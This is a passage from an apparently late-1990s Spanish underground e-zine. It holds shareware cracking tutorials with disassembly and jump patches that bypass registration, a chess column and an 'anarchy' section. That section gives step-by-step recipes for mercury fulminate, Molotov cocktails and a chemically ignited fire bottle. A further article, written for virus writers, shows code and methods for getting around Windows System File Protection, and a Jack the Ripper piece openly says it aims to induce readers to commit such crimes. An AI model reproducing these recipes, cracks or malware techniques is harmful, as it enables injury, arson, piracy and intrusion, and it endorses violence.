:00403ABF C780C000000001000000    mov dword ptr [ebx+000000C0], 00000001
:00403AC9 6A00                    push 00000000
:00403ACB 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"Thank you for registering!"
                                  |
:00403ACD 68A4624000              push 004062A4

* Reference To: MFC40.Ordinal:0425, Ord:0425h
                                  |
:00403AD2 E86F0B0000              Call 00404646     ; Message box 

Definitivamente la funcion X es la que guarda los datos ya que se le pasa co-
mo parametros el code y el pass , y donde los guarda , pues simplisimo , no
les parece sospechoso que el codigo fuente tenga dos strings llamadas code y
name , si y es porque las guarda en el un archivo .Ini con una funcion de las
MFC , y para que nos sirve saber esto ?,pues para poco mas que satisfacer
nuestra curiosidad ;)

El Golpe Final 

Pensemos bien , el programa llama varias veces a una funcion que mira el code
y el pass y dice si estan bien o no y devuelve un o otro valor,despues del
Ret el codigo mira el valor y hace un salto condicional , como podemos anular
la proteccion , modificando los saltos condicionales ? o porque no mejor modi-
ficamos la rutina de comprobar serial para que siempre devuelva 1 ,definitiva
mente es mucho mas elegante , aunque no sea la mas compleja solucion de todas,
porque si una vez hecho quedara , bueno seria hacerlo prontamente , cambiamos :

0F850A000000 :

:004040E7 85C0                    test eax, eax
:004040E9 0F850A000000            jne 004040F9  ;!!!!!!!!!!!!!!        >----.
:004040EF B801000000              mov eax, 00000001    ; lo deja bueno      |
:004040F4 E902000000              jmp 004040FB                              |
:004040F9 33C0                    xor eax, eax   ;Se putea todo             |
:004040FB E900000000              jmp 00404100                              |
                                                                            |
Por :                                                                       |
                                                                            |
0F840A000000                                                                |
                                                                            |
:004040E7 85C0                    test eax, eax                             |       
:004040E9 0F840A000000            je 004040F9  ;!!!!!!!!!!!!!!    <---------'     
:004040EF B801000000              mov eax, 00000001    ; lo deja bueno 
:004040F4 E902000000              jmp 004040FB   
:004040F9 33C0                    xor eax, eax   ;Se putea todo     
:004040FB E900000000              jmp 00404100     

Y cuando reiniciemos el programa este se registra inmediatamente , debido a
que como las strings siempre estan en el tickle.ini estas siempre se chequean.

Un final Feliz

EL programa ya esta crackeado y aprendimos algo por ahi derecho ,eso es lo que
yo llamo un final feliz ;espero que todos hayan entendido todo ! , y si hay
alguna duda ya saben mi e-mail .

              Vil Roach / Trenchcoat Legion - Un asesino para tres pontifices 

-----------------------------------------------------------------------------
--10.8-----------------------------------------------------------------------

Crack The Worm Version 1.12 (www.sharedirect.com)

                       By

                          Vil Roach

En esta ocasion vamos a crackear una de las cosas que mas me gustan, los video-
juegos !; la victima de esta noche es el tipico juego de la culebra que a
medida que come frutas y proporcionalmente aumenta su tamao, pero con mu-
chas mejoras, sobre todo en el aspecto grafico .

BTW : Si algun dia quieren a llegar a ser crackers de verdad les recomiendo
que lean el tutorial de raZZia sobre programas tipo  "Crippled". En este
sorprendente tutorial raZZia lo que hace basicamente es llevar al maximo
la ingenieria inversa, agragendole otra funcinalidad al programa! simplemente
alucinante.

Desesamblamos el programa y como no sale ningun mensaje de error cuando el
regcode es incorecto, tenemos que atacar de otra manera;si nos fijamos bien,
donde se nos pide el regcode, es un cuadro de dialogo, asi que podemos empezar
a analizar todas las llamadas a DialogBoxParamA, y despues de varios fallidos
intentos encontramos lo siguiente :

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00403873(C), :00403889(C)
|
:00403894 B820904100              mov eax, 00419020
:00403899 E87ADBFFFF              call 00401418
:0040389E 833D7090410000          cmp dword ptr [00419070], 00000000 ; !!!!!!
:004038A5 0F8474000000            je 0040391F
:004038AB 803D7C16420000          cmp byte ptr [0042167C], 00
:004038B2 7410                    je 004038C4
:004038B4 6A00                    push 00000000

* Possible StringData Ref from Code Obj ->"SVWU"
                                  |
:004038B6 6804184000              push 00401804
:004038BB 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"ENG_ISSHAREWARE"
                                  |
:004038BD 6885744100              push 00417485
:004038C2 EB0E                    jmp 004038D2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004038B2(C)
|
:004038C4 6A00                    push 00000000

* Possible StringData Ref from Code Obj ->"SVWU"
                                  |
:004038C6 6804184000              push 00401804
:004038CB 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"ISSHAREWARE"
                                  |
:004038CD 6895744100              push 00417495

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004038C2(U)
|
:004038D2 6A00                    push 00000000

* Reference To: USER32.DialogBoxParamA, Ord:0007h
                                  |
:004038D4 2EFF154C424200          Call dword ptr cs:[0042424C]

Si alguien se esta preguntando como supe cual llamada a DialogBoxParamA era,
lo supe fijandome en el ID del dialogo, o acaso ISSHAREWARE no les paraece
lo suficientemente sospechoso ?.

Si se fijan bien en el primer condicional de la rutina, es muy interesante ya
que en caso de saltar lo hace hasta despues de la llamda a DialogBoxParamA o
sea que no mostraria la Nag-Screen, asi que nos vamos para el Hex-Editor, y
cambiamos el salto , pero lo unico que hace es no mostrar la pantalla , y el
resto del programa sigue en version demo :( .


El Segundo Round 

Ahora lo que haremos es buscar referencias a "dword ptr [00419070]", y ver en
que momento y que funcion lo pone a cero, ya que es asi como debe estar todo
el tiempo :


|
:004014A4 C60000       mov byte ptr [eax], 00  ; En este momento en [esi+6f]
                   				     ;se encuentra el regcode, ya 
                                               ;sea que pro
:004014A7 8D466F                  lea eax, dword ptr [esi+6F] ;venga del dialogo, o del archivo
                                                              ;code.inf , que es donde se guarda
:004014AA 39C3                    cmp ebx, eax
:004014AC 753F                    jne 004014ED ;Aqui se comienza a compara el codigo asi que debe
                                               ;mos cambiar el salto por 74 - je
:004014AE 31C0                    xor eax, eax
:004014B0 8A4500                  mov al, byte ptr [ebp+00]  
:004014B3 83F823                  cmp eax, 00000023
:004014B6 7525                    jne 004014DD----------------.
:004014B8 31C0                    xor eax, eax                |
:004014BA 8A4505                  mov al, byte ptr [ebp+05]   |
:004014BD 83F820                  cmp eax, 00000020           |
:004014C0 751B                    jne 004014DD----------------|
:004014C2 31C0                    xor eax, eax                |-Aqui se compara un digito con un
:004014C4 8A4506                  mov al, byte ptr [ebp+06]   | valor y si noes correcto saltamos
:004014C7 83F82D                  cmp eax, 0000002D           | a 004014DD, asi que para no crack
:004014CA 7511                    jne 004014DD----------------| ear todos los Jumps,crackeamos a
:004014CC 31C0                    xor eax, eax                | 004014DD
:004014CE 8A4507                  mov al, byte ptr [ebp+07]   |
:004014D1 83F820                  cmp eax, 00000020           |
:004014D4 7507                    jne 004014DD----------------' 
:004014D6 B801000000              mov eax, 00000001
:004014DB EB02                    jmp 004014DF

35 32 45 32 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004014B6(C), :004014C0(C), :004014CA(C), :004014D4(C)
|
:004014DD 31C0                    xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004014DB(U)
|
:004014DF 85C0                    test eax, eax  ; Aqui llega el codigo si algun digito no es 
:004014E1 743B                    je 0040151E    ; correcto, y salta en ese caso,asi que simplemen
:004014E3 31DB                    xor ebx, ebx   ; te cambiamos el je 0040151E por jne 0040151E
:004014E5 891D70904100            mov dword ptr [00419070], ebx    
:004014EB EB31                    jmp 0040151E


Listo !. Ahora el programa siempre que se inicia esta registrado , y podemos
jugar todos los niveles :) . En realidad la rutina es mucho mas larga ,pero
esta parte es la mas interesante ya que el resto o es para sacar el regcode de
Code.Inf, o es para obtener el texto que introduzcamos en la cajita del dia-
logo, para finalmente llegar a donde nos interesa, y crackear el programa tal
como dios deberia mandar : Limpio Y Claro !.
               
                          Vil Roach / Trenchcoat Legion - Killing the Mimos !

-----------------------------------------------------------------------------
--10.9-----------------------------------------------------------------------

Cracking Xara 3d 
by kacimiro


Este es un programita que sirve para hacer textos en 3d, programa util.
La proteccion es muy simple pero aburridora de patchear.

Abrimos el Xara 3d y si se nos acabaron los 30 dias sale una ventana donde
debemos colocar un unlock code, como pueden ver en el titulo del dialogo
hay una clavesita, esa clavesita la utiliza el programa para generar el
codigo.

Desensamblamos el programa buscamos "You entered an invalid unlock code"  o
lo que sea que les muestra el programa y nos encontramos aqui:

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040F46F(C), :0040F483(C), :0040F49F(C), :0040F4BB(C), :0040F4D7(C)
|:0040F4F3(C), :0040F50F(C), :0040F52B(C), :0040F598(C)
|

->Si examinan el codigo pueden ver que estos saltos dependen de una comparcion
->del codigo verdadero con el nuestro, entonces lo unico que hay que hacer es
->nopearlos todos y listo. 

* Possible Reference to Dialog: DialogID_0082, CONTROL_ID:00FF, ""
                                  |
:0040F655 6AFF                    push FFFFFFFF
:0040F657 6A10                    push 00000010

* Possible Reference to String Resource ID=03005: "You entered an invalid
unlock code. The program has not been"
                                  |
:0040F659 68BD0B0000              push 00000BBD
:0040F65E E8B1C70400              call 0045BE14 -> muestra el mensaje

-----------------------------------------------------------------------------
No mas cracks por hoy !!!

_____________________________________________________________________________
__12_________________________________________________________________________

Ajedrez 

     By  

      Boris de Greiff (Recopiled By Vil Roach)


Bienvenidos a la seccion de ajedrez de TCDiaries, presentando en esta primera
ocasion 4 columnas de Boris de Greiff aparecidas originalmente en la revista
Cromos y traidas a ustedes por cortesia de Vil Roach, y si alguno de ustedes
se estara preguntando por que una seccion de ajedrez en una e-zine underground
, pues yo les respondere que es por que me dio la gana, y al menos tengo dere-
cho de publicar lo que quiera en una e-zine de la cual soy un activo colabora-
dor, y sin ser mas y sin importarme su opinion les presento 4 columnas y 7
excelentes partidas de ajedrez; por cierto para analizarlas recomiendo el
programa GNU Chess en cualquiera de sus versiones el cual es obviamente gra-}
tuito y tiene versiones en muchos sistemas operativos.

#1 :

LA AMENAZA DEL COMPUTADOR BY BORIS DE GREIFF

A quienes nacimos a la primera mitad del siglo XX el tema de las computadoras
en verdad nos asusta. En todos los campos del conocimieno humano, desde luego,
y mas si se quiere en aquello que nos toca mas de cerca, el juego ciencia.

Lo curioso es que el padre de este "Frankestein", de la maquina que juega
ajedrez, no es otro que un ilustre campeon del mundo, el ingeniero Mijail
Botvinnik, quien en la decada de los 50 diseo el programa que sirvio de pun-
to de partida para que en los aos subsiguientes se perfeccionaran estos
"aparaticos".

Hoy en dia existen computadores que al menos en ajedrez rapido son capaces de
derrotar a cualquiera. Fue el caso de "Genius" que vencio el ao pasado a
Kasparov en un torneo de partidas rapidas en Londres. El comentario de Kaspa-
rov al respecto fue bien simpatico: "Si bien es primitiva, su inmenso poder
de calculo la convierte en un rival muy poderoso. Nuestra comprension del
juego es mucho mas profunda, pero en el ajedrez rapido los seres humanos no
podemos mantener un nivel de juego estable. Ademas el problema de jugar con
computadoras es que no se enferman, no se ofenden, y el clima y el publico no
las afectan.

Pero tambien en el ajedrez pensante el progreso ha sido sorprendente, como
pudo evidenciarse en el torneo que se disputo en el museo de computadores de
Boston, en octubre el ao pasado  y que se denomino "Copa Harvard". Alli 6
grandes maestros de U.S.A -casi la misma nomina que representaria un mes mas
tarde a su pais en las olimpiadas de moscu, en donde por cierto ocuparon un
septimo lugar, enfrento a 8 computadoras.

Si bien los humanos ganaron en el computo general de resultados, una de las
computadoras, la "WChess" vencion 5-1! al equipo de U.S.A. Ningun equipo de
humanos los trato tan mal en la olimpiada de moscu...

Veamos dos ejemplos de su juego :

Blancas : WChess
Negras  : Patrick Wolf

1.e4 c5 
2.Cf3 d6
3.d4 cxd4
4.Cxd4 Cf6
5.Cc3 a6
6.Ag5 e6
7.f4 Cbd7
8.Df3 Dc7
9.O-O-O b5
10.Axb5! axb5
11.Cdxb5 Db8  -El sacrificio blanco esta inspirado por una partida de Brons-
               tein contra Najdorf en Buenos Aires,1954-
12.e5 Ta5 -En caso de Ab7 que parece mas natural, entonces 13.De2 segudo de
           exd6 y jaque en c7.-
13.exf6 gxf6
14.Ah6 Axh6
15.Cxd6+ Re7
16.Rb1 Td8
17.De4 f5
18.Dd4 Tg8
19.Cxc8+ Dxc8
20.Db4+! Dc5
21.Txd7! Rxd7
22.Db7+ Re8
23.Db8+! Re7
24.Dxg8 Axf4 y las blancas recuperaron la pieza conservando el ataque
25.Td1 Dc7
26.h3 Ae5
27.Ce2 Af6
28.c3 Tb5
29.Cd4 Tb6
30.g4 fxg4
31.hxg4 h6
32.Da8 Ae5
33.Ra1 Db7
34.Cc6+! y las negra abandonaron!.

Blancas : Michael Rhode
Negras  : WChess
1.Cf3 Cf6
2.c4 c5
3.Cc3 d5
4.cxd5 cxd5
5.e4 Cb4
6.Ab5+ C8c6
7.d4 cxd4
8.a3 dxc3
9.Dxd8+ Rxd8
10.axb4 cxb2
11.Axb2 Ad7
12.o-o Re8
13.Tfd1 f6! -La posicion debe tratarse con mucho cuidado debido a la ventaja
             del desarrollo de las blancas.-
14.Aa4 e5
15.b5 Cd8
16.Tac1 Ce6
17.Td5 Cf4
18.Txd7?! Rxd7
19.b6+ Re6
20.Ab3+ Re7
21.Tc7+ Rd8
22.Tb7 axb6
23.Ac4 Ta4
24.Cd2 Rc8
25.Tf7 Ac5
26.g3 Td8!
27.Ac3 Txc4!, y las blancas abandonaron ya que si capturan la torre reciben
              mate.

Con ejemplos como estos no esta lejos el dia en que un eqipo de computadores
participe en unas olimpiadas mundiales. Hasta ahora la FIDE ha estado reacia
a aceptar sugerencias en este sentido,pero en el siglo XXI sin duda todo se-
ra diferente.

PHILIDOR BY BORIS DE GREIFF

200 aos de su muerte se conmemoraron en 1995. Francois Andre Danican, llama-
do Philidor, consideredo como uno de los maximos exponentes de la musica
francesa en los aos anteriores a la revolucion, fue en el ajedrez -al decir
de Larsen- el primero que entendio plenamente la razon de ser de este juego
y por ello ocupa un lugar de honor en su historia.

De el dice el Dictionnarie des Musiciens de Roland De Cande : "... el exito
de su opera comica " Blaise le savieter " (1759), consagro su reputacion como
compositor, digna de la que ya habia adquirido en los clubes de ajedrez . Su-
perior a Bocigny y a Grey po la originalidad de su invencion melodica, la
calidad de la armonia y la instrumentacion, es quiza el mejor representante
de la opera comica francesa anterior a Boildeiu".

Es bien curioso el origen de su nombre. A mediados del siglo XVII un oboista
italiano llamado Fidilori visito Francia. Fue tal su habilidad que cautivo al
rey Luis VIII. Varios aos mas tarde surgio en Francia un oboista de similar
talento, Miguel Danica. Al escucharlo en Paris el rey exclamo "Por fin tengo
otra vez a Filidori".

Danican fue nombrado musico de la capilla real, y el remoquete Filidor agre-
gado a su nombre. De esa familia de musicos por excelencia fue de donde pro-
vino Francois Andre Philidor Danican, que paso a la historia simplemente co-
mo Philidor. Nacido en Dreux en 1720,fue uno de los 20! hijos de Andre Fi
lidor, custodio de la biblioteca principal del rey. Junto con su instruccion
musical el joven Philidor aprendio el ajedrez a la edad de los 14 aos y
pronto adquirio la reputacion de ser uno de los mejores jugadores de la ca-
pital francesa. Fue alumno del famoso Legal por 3 aos, al cabo de los
cuales estuvo en condiciones de jugar con el sin recibir ventaja. Luego
-segun las cronicas de la epoca- lo hubo de superar ampliamente.

Infortunadamente sobre la carrera artistica de Philidor solo disponemos del
testimonio de sus con temporaneos. Se sabe que derroto a los mas reputados
maestros de entonces como Legal, Sir Abraham Jansen, y el sirio Philip Stamma
- A este ultimo por 8-2 en un match en londres en 1748-No obstante estas pa-
rtidas no se han conservado y lo mas que lograron los entusiastas investiga-
dores Levy y O'Connel en su Oxford Encyclopedia of Chess Games 1485-1866,
publicada en 1981 fue reunir 71 ejemplos de su juego entre partidas completas
y fragmentos. Pero la gran mayoria son partidas a ciegas,en simultaneas o
dando ventaja,en las cuales desde luego no es posible captar su verdadera
fuerza.

Hecha la anterior salvedad veamos 2 ejemplos de su juego en partidas "mano
a mano" :

Londrez Marzo 13 de 1790

Blancas : Smith
Negras  : Philidor

1.e4 e5
2.Ac4 Cf6
3.d3 c6
4.Ag5 h6
5.Axf6 Dxf6
6.Cc3 b5
7.a3 Ac5
8.a3 Ac5
9.Cf3 d6
10.Dd2 Ae6
11.Axe6 fxe6
12.O-O g5
13.h3 Cd7
14.Ch2 h5
15.g3 Re7!
16.Rg2 Ab6
17.f3 Cf8!
18.Ce2 Cg6
19.c3 Tag8
20.d4 Ab6
21.dxe5 Dxe5
22.Cd4 Rd7
23.Tae1 h4
24.Df2 Ac7
25.Ce2 hxg3
26.Dxg3 Dxg3+
27.Cxg3 Cf4+
28.Rh1 Txh3
29.Tg1 Txh2+!
30.Rxh2 Th8+
31.Ch5 Txh5+
32.Rg3 Ch3+!
33.Rg4 Th4++

Blancas : Sheldon
Negras  : Philidor
1.e4 e5
2.Ac4 c6
3.Cf3 d5
4.exd5 cxd5
5.Ab3 Cc6
6.d4 e4
7.Ce5 Ae6
8.O-O f6
9.Cxc6 bxc6
10.f3 f5
11.Ae3 Cf6
12.Cd2 Ad6
13.c4 O-O
14.Aa4 Cd7
15.f4 Cg4
16.De2 Cxe3
17.Dxe3 c5!
18.Cb3 dxc4
19.Cxc5 Axc5
20.dxc5 Tac8
21.c6 tfd8
22.Tfd1 Td3!
23.Txd3 cxd3
24.Ab3 Axb3
25.axb3 Db6!
26.Rf2 Dxe3+
27.Rxe3 Txc6
28.Txa7 Td6
29.Rd2 e3+!
30.Rxe3 d2
31.Ta1 d1(D), y las blancas abandonaron. Naturalmente que Sheldon debio jugar
              29.Ta1 d1(D) pero igual perdia luego de 29... Tc6

Asi, del legado de Philidor poco queda, salvo su libro analisis del juego
del ajedrez publicado en Paris en 1749, del cual se hicieron en los aos
siguientes mas de 100 ediciones en mas de 10 lenguas diferentes. Alli apare-
ce su famosa frase: "Los peones son el alma del ajedrez".

Agreguemos que su opera "Blaise Le sevetier" fue revivida en Londres en 1976,
al conmemorarse 250 aos de su nacimiento. Y de su oratorio profano "Carmen
Secular" basado en el poema de Horacio, existe un disco compacto de la cas
Erato.

Al estallar la revolucion en 1789, Philidor se sintio inseguro en su patria.
Viajo a Londres en 1792 y alli fallecio de gota el 31 de agosto de 1795.                 
_____________________________________________________________________________
__13_________________________________________________________________________

A n a r c h y          F O R   A 
  D r u g s        T R E N C H C O A T 
  B o m b s              K I D             with Kacimiro


Esta seccion estara dedicada a aquellos temas que tienden a ser siempre cen-
surados no por  autoridades judiciales , sino por la misma sociedad que  como
"reina moral y etica" (?) decide que es bueno y malo.

Debe quedar claro que  cualquiera de los conceptos expresados aqui  no tienen
porque ver en en nada con el pensamiento de nadie mas que del autor,cualquier
coincidencia en la forma del publico de  ver lo que hay aqui con  la forma de
pensar del autor no es mas que eso, una coincidencia ya que todos los concep-
tos que aqui se expresan no tienen la intencion de identificarse con un grupo
de gente,solo sucedio que el autor quiso aludir a su maldita gana de hacer lo
que le dio la gana , si de  hecho alguien se ve identificado o en acuerdo con 
los conceptos, la mision del autor estara cumplida.

Debido  a que incluso las advertencias son confusas quizas no deba el  lector
seguir leyendo, aqui cualquier cosa es posible y no soy responsable de lo que
aqui en adelante suceda.

Cualquier comentario, dirijanse a kacimiro. kacimiro@uole.com.

                    --|Anarquia, mas que un concepto|--

En este texto  la anarquia ha dejado de ser lo que muchas personas  quisieron
definir, me he hecho dueo de esa palabra para definir ciertas ideas.

Anarquia deja de ser un concepo unicamente politico, aqui la anarquia es algo
mucho mayor a ignorar autoridades y seres superiores , la anarquia  expresada
aqui se refiere a la autonomia del pensamiento , los pensamientos son propios
y no se ven influenciados por creencias de ningun tipo (fe).
Hemos decidido ser  nuestros propios dioses  y como dioses decidimos  ignorar 
cualquier cosa ajena a nosotros mismos . Nuestro ideal es  acabar con aquello
que por mucho tiempo  han llamado valores y sentimientos , ya no nos  importa
ser buenos o ser malos , para nosotros  esos conceptos ya no existen , ya  no 
existe el amor , tampoco existe el odio y por lo tanto no necesitamos ser so-
ciales, dejamos de ser esclavos, ahora somos unicos. Somos dueos de nosotros
mismos, podemos escoger vivir, asi como morir.

De  ahora en adelante nos  conoceran como un demonio nacido de la mas pura a-
narquia ,  tantos conceptos  ideologicos y espirituales estupidos que nos han
hecho tragar ahora estan siendo vomitados , somos seres que han dejado de te-
ner espiritu , de ahora en adelante nuestro corazon solo se encargara de bom-
bear sangre y tanto valor inservible que le habian dado ha sido desechado.
El intento de lavar nuestor cerebro ha fracasado, sus instituciones ya no nos
controlan  y tantas pasiones  reprimidas durante tanto tiempo ahora  estallan
con inmensa furia!.

Ahora  como he decidido ser mi dueo y responder tan  solo a mis instintos  y 
razon decido lo siguiente:

Bombas:

--|Explosivos de impacto|--

    --|Fulminato de Mercurio|--

Puede ser detonado por impacto o por calor y asi se produce:

        --|Materiales|--

 5 g de Mercurio
 35 ml de Acido Nitrico concentrado
 30 ml alcohol etilico
 agua destilada

La solucion de alcohol debe tener por lo menos el 95 % de alcohol etilico. El
mercurio lo pueden sacar de  los termometros o de donde les de la gana , pero
deben tener cuidado ya que a temperaturas comunes  puede evaporarse ,  entrar
por la piel y empezar a comercela y en unos cuantos segundo estaria muerto!!.
Si el procedimiento lo hacen entre dos o mas personas los demas deben escapar
antes de que el mercurio haga cotacto con el aire y explote!!! . Ya basta  de
advertencias, la mayoria de ustedes son tan estupidos que es mejor no  gastar
palabras advirtiendo.

Primero  mezclen el  mercurio con el acido nitrico , lentamente calienten  la
mezcla , va a hervir y se va a poner verde. Despues , cuidadosamente le echan
la anterior  solucion al alcohol etilico , saldran unos vapores toxicos e in-
flamables. 
A los  30 o 40 minutos se empieza a colocar blanco , lo que quiere  decir que
esta  terminando de reaccionar , pueden esperar otro  rato y luego aadir los
30 ml de agua.
Quedaran unos cristales de fulminato de mercurio , se filtran  para quitarles
la solucion que es corrosiva y toxica y la colocan en un lugar seguro o se la
dan al perro.
Lavar los cristales bien lavaditos, dejarlos secar y listos para usar.


--|Molotov Cocktails|--

Es de los mas simples  y lindos  artefactos  incendiarios , hay desde los mas
simples hechos con botellitas hasta bombas incendiarias de autoignicion.
La idea es coger cualquier material altamente inflamable como gasolina , com-
bustible diesel , keroseno, alcohol etilico, etc... o cualquier mezcla de uno
de los anteriores y ponerlo en una botella , taparla con un trapo dejando una
buena parte sobresaliendo, prenderlo y tirarlo . Si el trapo queda bien pren-
didito y la botella se quiebra el fuego entrara  en contacto con el  material
altamente inflamable, formando un bonita ola de fuego en donde caiga el mate-
rial. 

Una buena mezcla  de keroseno con aceite de  motor formara una sustancia  mas
volatil e inflamable y la gasolina puede asegurar la ignicion. Una mezcla con
grasa hara que  el material se aada a la superficie en donde  se quiebre  la
botella y ademas asegura una llama mas caliente y dificil de apagar , mezclas
con alcohol, acetona u otros solventes prodecen una ola de fuego mayor, otros
materiales como poliestireno haran el material mas pegajoso como para adherir-
se a superficies verticales.

   --|Botella de fuego quimica|--

Esta  es una molotov avanzada que utiliza la reaccion del acido sulfurico con
el  clorato de  potacio para prenderse . Se hace de tal forma que  cuando  se
quiebre  la botella el acido sulfurico  reaccione con el colorato de  potasio
con azucar y produzca que fuego que encienda el material.

      --|Materiales|--

2 cucharadas (pequeitas) de clorato de potasio
8 onzas gasolina
2 cucharadas (pequeitas) de azucar
1 cuacharada (pequeita) de bicarbonato de soda
4 onzas de acido sulfurico
1 botella de vidrio

Cuidadosamente , como siempre , sin ir a regar la gasolina y sin dejarle caer
un fosforo prendido mezclela  con el acido sulfurico , ojala en un espacio a-
bierto ( el acido sulfurico podria reaccionar con alguna impureza de la gaso-
lina). 
Luego con un embudo  se mete la mezcla en la botella y se tapa . Prepare  una
solucion de agua fria con bicarbonato de soda y luego bae la botella  con la
solucion. Dejela secar. Ponga las dos cucharadas de  clorato de potasio  y el
azucar en un frasco cualquiera y luego aadale la  suficiente agua  hirviendo
para que se disuelva el clorato de potasio y el azucar.
Coloque una hoja  de papel en una  caserola y entonces se le echa la solucion
de clorato de potasio y azucar y se deja secar el papel. el papel se envuelve
en la botella y ya sabran.

 --|Postre de pia|--

1 o 4 pias
azucar
un refrigerador

... 
Disculpen las inconvenecias pero por ciertos motivos el resto del articulo ha
sido censurado por el departamento de culinaria de trenchcoat legion
...

_____________________________________________________________________________
__14_________________________________________________________________________

Microsoft SFP fucked

       By


        Vil Roach   (Thanks To Griyo/29A for his article Win2k_infektion.Txt)


Parece ser que Microsoft cree que puede tratar de sol con un dedo, o en su
defecto de que puede acabar con los virus en la plataforma de Windows simple-
mente protegiendo un limitado numero de archivos. Y precisamente sobre esto
se trata este articulo sobre El System File Protection, una nueva Api de win-
dows que guarda una copia de seguridad de los archivos mas importantes del 
sistema de windows y que remplaza uno de estos archivos en caso de modifi-
cacion del original.

Cuando el SFP entra en accion vemos algo como esto :

         "Una modoficaion de archivo fue intentada el el archivo protegido
          SFP -Nombre.Arch-. Para mantener la estabilidad del sistema, el
          archivo fue restaurado por la version correcta de Micorsoft. Si
          ocurre algun problema con su aplicacion, por favor contacte al
          distribuidor de la aplicacion para soporte tecnico. "


Asi que todo esto va para los virus-makers o gente que este programando Tro-
yanos o cualquier software que modifique archivos binarios.

El SFP parece algo muy logico, pero si nos ponemos a pensar el, archivo
winhlp.Exe, o el Tapi.dll no son muy comumente intercambiados entre usuarios
asi que si que para que los vamos a infectar?, entonces lo mejor es prevenir-
los y para eso usaremos SFP.Dll, y como ?

Pues observemos sus export table :

		Name:            sfc.dll
		Characteristics: 00000000
		TimeDateStamp:   37741427
		Version:         0.00
		Ordinal base:    00000001
		# of functions:  0000000B
		# of Names:      00000004

		Entry Pt  Ordn  Name
		0000743A     1
		000073D2     2
		00003D70     3
		00003DA9     4
		00003DB5     5
		00003DED     6
		00003E21     7
		00003F0B     8  SfcGetNextProtectedFile
		00003FA0     9  SfcIsFileProtected
		00008D1D    10  SfcWLEventLogoff
		00008C5A    11  SfcWLEventLogon


Y vemos una funcion tan interesante como SfcIsFileProtected, la cual su nom-
bre lo dice todo, menos ssus parametros, los cuales resultan ser simplemente
el nombre del archivo .

Asi que si queremos llamra esta funcion desde Asm, y averiguar si
"C:\Windows\System\Kernel32.Dll" esta protegido por SFP lo haremos asi :

BTW : EL fabuloso SFP es exclusivo de Win2000 y WinME

-----------------------------------------------------------------------------

.386
.Model Flat ,StdCall
locals
jumps                     ;Ajustes para el compilador y su forma de compilar 

include c:\tasm\include\windows.inc
include c:\tasm\include\wsocks.inc   ;Include Files

extrn MessageBoxA:PROC
extrn ExitProcess:PROC
extrn LoadLibraryA:PROC
extrn GetProcAdressA:PROC      ; EJECUTESE EN WIN2000/WIN-ME SOLAMENTE

.data

SFP "Sfp.Dll"
Funcion "SfcIsFileProtected",0
Titulo db "SFP FUCKED!!",0
Isprot db "El Archivo esta protegido por SFP",0
IsNotprot db "El Archivo No esta protegido por SFP !",0
elarchivo db "C:\Windows\System\Kernel32.Dll",0

isfpr_addr dw ?

.code

enpo :

push offset SFP
call LoadLibraryA

push offset funcion
push eax               ; handle de SFP.DLL
call GetProcAdressA

push offset elarchivo
call eax               ; Direccion de la funcion en SFP.Dll

cmp eax,0              ; Si es 0 el file no esta protegido
jne protect

push 0
push offset titulo
push offset IsNotprot
push 0
call MessageBoxA

jmp salir

protect :       ; Si devuelve un valor distinto a cero el file esta protegido 

push 0
push offset titulo
push offset Isprot
push 0
call MessageBoxA

salir :

push 0
call ExitProcess

end enpo


-----------------------------------------------------------------------------

Asi que de esta forma evitaremos tocar archivo protegidos por el sistema, y
realmente esto no sera ningun impedimento, pro si por ejemplo queremos quedar
residentes en memoria, y hacer un perprocess residency lo que hariamos seria
infectar la memoria del explorer para introducir nuestro codigo y tambien mo-
dificar las imports tables de los archivos protegidos por SFP cuando esten 
mapeadas en memoria para que paunten al codigo del explorer, y por supuesto
todo esto desde un archivo infectado que no este protegido por SFP ! :)

Espero que hayan entendido todo y que tengan esto en cuenta en sus proximos
programas,y si es asi me doy por bien servido.


               Remember : Fuck Microsoft !!


Vil Roach - vil_roach@uole.com


_____________________________________________________________________________
__15_________________________________________________________________________

Mi intencion a la hora de realizar esta pagina ha sido la de explorar la vida
criminal del personaje mas misterioso, inquietante y terrorifico del siglo
XIX, ademas de inducirte a que hagas estos crimines. Se han hecho infinidad
de adaptaciones cinematograficas y de television en las que eramos transpor-
tados a la epoca victoriana, una epoca de elegantes caballeros, hermosas mu-
jeres, que eran todas re putas, y por eso Jack, nuestro nuevo amiguito las
destripaba, ademas de haber un ambiente muy agradable (aparentemente) y una
forma muy educada de hablar muy normal en esos tiempos que corrian la gente
creia en muchas boludeces, como las brujas y los ovnis (objeto volador no
identificado) ;) . Esa es la epoca de gente como Sherlock Holmes y su amigo
el Dr. Watson y como no de... Jack el Destripador	
 
[ Historia: ]	

Londres (Inglaterra, 1888). Un hombrecillo muy bien vestido, de un aspecto
vulgar, durante 5 o 6 veces, se deslizaba entre el bullicio nocturno del ba-
rrio de Whitechapel. Otras tantas, hablaba con "mujeres de la calle" y entre
ellas siempre habia alguna infeliz que caia al suelo barbaramente acuchilla-
da. Si se otorgara algun titulo al mas famoso criminal de todos los tiempos,
sin dudarlo en ningun momento recaeria sobre Jack el Destripador, un hombre
sobre el cual no se ha conocido su identidad... hasta ahora!. Durante mas de
un siglo es recordado continuamente por la novela, el cine y la television a
traves de diversas epocas siempre como un misterioso, inquietante y terrori-
fico personaje que acabo con la vida de 5 prostitutas y aterrorizo a toda
Inglaterra.  Habia quien aseguraba que el Destripador era un famoso medico,
deseoso de vengar la muerte de uno de sus hijos, consecuencia de una "vergon-
zosa enfermedad" (mal contraido por las relaciones con las prostitutas). Hay
quien supone que el asesino fuera probablemente una mujer, pero, Que le mo-
veria a actuar de esa forma? Acaso su pareja habia contraido alguna enferme-
dad con las profesionales del amor y esta se queria vengar de ellas asesinan-
dolas?. Finalmente para otros se trataba del hijo de un aristocrata encerrado
en un manicomio de las proximidades de Ascot (aunque no parece que fueron
realizadas las investigaciones en ese sentido), pero un diario encontrado por
un tal Tony Deveraux hace unos cuantos anos cayo en manos de un individuo
llamado Mike Barrett, actual propietario del diario, daba con la solucion a
